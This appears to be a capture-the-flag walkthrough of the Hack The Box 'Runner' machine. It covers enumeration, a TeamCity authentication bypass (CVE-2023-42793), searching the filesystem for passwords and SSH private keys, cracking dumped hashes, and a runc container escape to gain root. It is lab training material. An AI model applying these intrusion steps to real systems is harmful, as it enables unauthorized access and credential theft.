Machine name | OS | IP | Difficulty |
---|---|---|---|
Runner | Linux | 10.10.11.13 | Medium |
User
- Check if the host is responsive
First, let's verify that we can reach the host using a simple ping
command:
└─# ping 10.10.11.13
PING 10.10.11.13 (10.10.11.13) 56(84) bytes of data.
64 bytes from 10.10.11.13: icmp_seq=1 ttl=63 time=2875 ms
64 bytes from 10.10.11.13: icmp_seq=2 ttl=63 time=4900 ms
- Check the running services
Let's check all running services and their versions using the nmap
command:
└─# nmap -sV -sC 10.10.11.13 -Pn
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for blocky.htb (10.10.11.13)
Host is up (0.12s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds
-sV
- to get services with their versions.-sC
- to use default scripts.-Pn
- to skip the ping (e as walready checked it in the first step).
The output shows interesting opened ports:
- Port
22
- OpenSSH version 8.9p1 - Port
80
- nginx version 1.18.0 - Port
8000
- nagios
The operating system of the machine is, of course, Linux, most likely Ubuntu (based on the OpenSSH and Apache versions); we will verify this later.
Since the HTTP request to IP address 10.10.11.13
on port 80
redirects to http://runner.htb, we should add an entry 10.10.11.13 runner.htb
to the /etc/hosts
file to ensure proper name resolution.
- Analyze the web application running on port
80
The page does not contain any noteworthy elements or user input fields:
- Enumerate more!
Let's attempt to discover potential paths using tool feroxbuster
:
However, nothing interesting was found. Similarly, we can perform the same operation for vhost
, but it yields the same result:
Let's attempt to generate a custom wordlist using cewl
by executing the following command:
cewl http://runner.htb > wordlist
Afterwards, we can repeat the path and vhost enumerations, revealing an interesting vhost:
401
indicates that we are unauthorized. Let's add the entry 10.10.11.13 teamcity.runner.htb
to the /etc/hosts
file.
- Examine the
teamcity.runner.htb
When we access the website:
The application identified is TeamCity
, a CI/CD tool developed by JetBrains
. The detected version is 2023.05.3
, which is known to have several CVEs, including an Authencication bypass vulnerability.
- Exploit CVE
To exploit the CVE, we can either use this script or, preferably, leverage Metasploit
with a few simple commands:
We have successfully gained a shell as tcuser
. The next step is to identify potential horizontal privilege escalation paths.
| NOTE: Alternatively, you can use my script available at https://github.com/FlojBoj/CVE-2023-42793, which I created for this purpose. It's inspired by this article.
- Horizontal escalation
To list all users, we can use the cat
command to view the contents of the /etc/passwd
file.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
tcuser:x:1000:1000::/opt/teamcity:/bin/sh
It appears that there are no other interesting users. After further investigation, I discovered that we are operating within a Docker container.
Our goal is to identify the user of the host machine where the Docker container is running and locate a password or private SSH key. To proceed, let's execute the following two commands:
grep -rnw ./ -e "password" # Goes through the files and looks for the password string
find / -name '*id_rsa*' 2>/dev/null # Starting in the root and goes recursively and looks for file name, which has `id_rsa` in their names
There is a file located at /data/teamcity_server/datadir/config/projects/AllProjects/pluginData/ssh_keys/id_rsa
, which appears to be a private key for a specific user. However, the associated username remains unknown. To find out, let's check the users within the application. As Metasploit
does not return the created user, we need to utilize this script and execute it using the following command:
python3 exploit.py -u http://teamcity.runner.htb -v -t token
Now that we have the login details, let's examine the application and its users to gather more information:
We have identified two users: matthew
and john
. Let's attempt to use the SSH private key with these usernames to gain access.
- User flag
The SSH private key successfully authenticates with the username john
. You can find the user flag in the file located at /home/john/user.txt.
Root
- Put some useful tools on the server
linenum
- LINENUM - used for local information enumeration.linPEAS
- LINPEAS - used for finding ways to escalate the privileges.pspy
- PSPY - used for snoop on processes.
- linPEAS
Running linPEAS reveals the presence of another potentially interesting user named matthew
:
Additionally, there are several ports listening on 127.0.0.1
(localhost only):
This is interesting; let's start by investigating the ports that are listening on localhost.
- Examine ports listening on localhost
To achieve this, we need to create an SSH tunnel using the following command:
ssh -L 18000:localhost:9443 -i id_rsa [email protected]
Next, you can access the website using the IP address 127.0.0.1
(localhost) on port 18000
, which is redirected to the machine runner.htb
on port 9443
. This reveals an application named Portainer
, which is essentially a tool for managing Docker images, volumes, networks, containers, and more:
| NOTE: Because the port is only accessible on localhost, using this tunnel allows us to bypass the restriction and access the web page directly from your computer.
To log in, we need to obtain credentials. It's possible that the same credentials are being used for both TeamCity
and Portainer
. Therefore, we need to find a way to dump the hashes from the TeamCity
application. Given that we are inside a Docker container without any tools and lack an internet connection to download them, direct database access is not feasible. A more straightforward method exists — TeamCity
provides a feature to back up files, including the database.
We can download the backup, unzip it, navigate to the folder TeamCity_Backup_<date>
-> database_dump
-> users
, and locate the following hashes:
We can crack these hashes using hashcat
:
Using the Rockyou
wordlist, we were able to crack the password piper123
for the username matthew
.
- Privilege escalation
By using the username matthew
and the password piper123
, we can log into Portainer
and verify the Docker version:
According to this article, runc
version 1.1.7
is vulnerable to privilege escalation, which aligns perfectly with what we are looking to exploit:
To begin, let's check which Docker images are available for use:
The ubuntu:latest
container is available, which is perfect. Next, we need to create a container and configure the working directory to /proc/self/fd/8
:
After that, establish a connection to the console:
Finally, display the root's private SSH key:
- Root flag
However, this private key doesn't work because the file /root/.ssh/authorized_keys
does not exist. To resolve this, we can simply copy it using the following command within the privilege escalation container: cp ../../../../../../../home/john/.ssh/authorized_keys ../../../../../../../root/.ssh/authorized_keys
. Afterward, we can use the same SSH private key as the john
user to log in as root
user:
The root flag is inside the /root/root.txt.
Assumptions verifications
- Running OS
We assumed, that the running OS is Ubuntu
. Let's verify it using the uname -a
command and cat /etc/os-release
:
root@runner:~# uname -a
Linux runner 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
root@runner:~# cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Running OS - Ubuntu 22.04.4 LTS
.